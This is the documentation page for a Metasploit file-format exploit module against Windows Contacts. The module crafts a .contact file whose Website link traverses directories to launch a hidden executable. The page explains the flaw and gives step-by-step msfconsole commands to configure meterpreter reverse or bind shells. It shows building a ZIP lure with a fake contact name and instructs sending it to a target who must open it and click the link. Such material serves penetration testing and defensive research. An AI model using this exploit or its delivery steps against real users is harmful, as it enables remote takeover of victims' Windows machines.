metasploit-gs/documentation/modules/exploit/windows/fileformat/microsoft_windows_contact.md

Description

This module allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Windows. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The flaw is due to the processing of ".contact" files <c:Url> node param which takes an expected website value, however if an attacker references an executable file it will run that instead without warning instead of performing expected web navigation. This is dangerous and would be unexpected to an end user.

Executable files can live in a sub-directory so when the ".contact" website link is clicked it traverses directories towards the executable and runs. Making matters worse is if the the files are compressed then downloaded "mark of the web" (MOTW) may potentially not work as expected with certain archive utilitys. The "." chars allow directory traversal to occur in order to run the attackers supplied executable sitting unseen in the attackers directory. This advisory is a duplicate issue that currently affects Windows .VCF files, and released for the sake of completeness as it affects Windows .contact files as well.

Vulnerable Application

Windows Contacts (tested on Windows 10.0.18282)

Verification Steps

1. ./msfconsole
2. use exploit/windows/fileformat/microsoft_windows_contact
3. Configure the payload. For example: set PAYLOAD windows/x64/meterpreter/bind_tcp
4. Configure the payload parameters. For example: set LHOST 192.168.1.1
5. Enter the name of the user to be embedded in the contact, which will also be used as the filename for the .ZIP and .CONTACTS files. For example, set FILENAME John Smith
6. Enter the fake URL that the user must click to launch the payload. Note, this does not need to be a valid domain. For example: set WEBSITE metasploit.com
7. run
8. Confirm the ZIP file was created, and that it contains a .CONTACT file along with a payload in the http folder.

Scenarios

Exploiting a Windows 10 host

1. Configure the module-specific settings.

msf5 exploit(windows/fileformat/microsoft_windows_contact) > set WEBSITE metasploit.com
WEBSITE => metasploit.com
msf5 exploit(windows/fileformat/microsoft_windows_contact) > set FILENAME John Smith
FILENAME => John Smith

2. Configure the payload.

msf5 exploit(windows/fileformat/microsoft_windows_contact) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/fileformat/microsoft_windows_contact) > set LHOST 192.168.1.148
LHOST => 192.168.1.148
msf5 exploit(windows/fileformat/microsoft_windows_contact) > run

[+] Creating 'John Smith.zip'

3. Send the ZIP to the target machine.

4. On the target machine, extract the ZIP file, open the .CONTACT file in the Windows Contacts viewer, and click the URL in the "Website" field.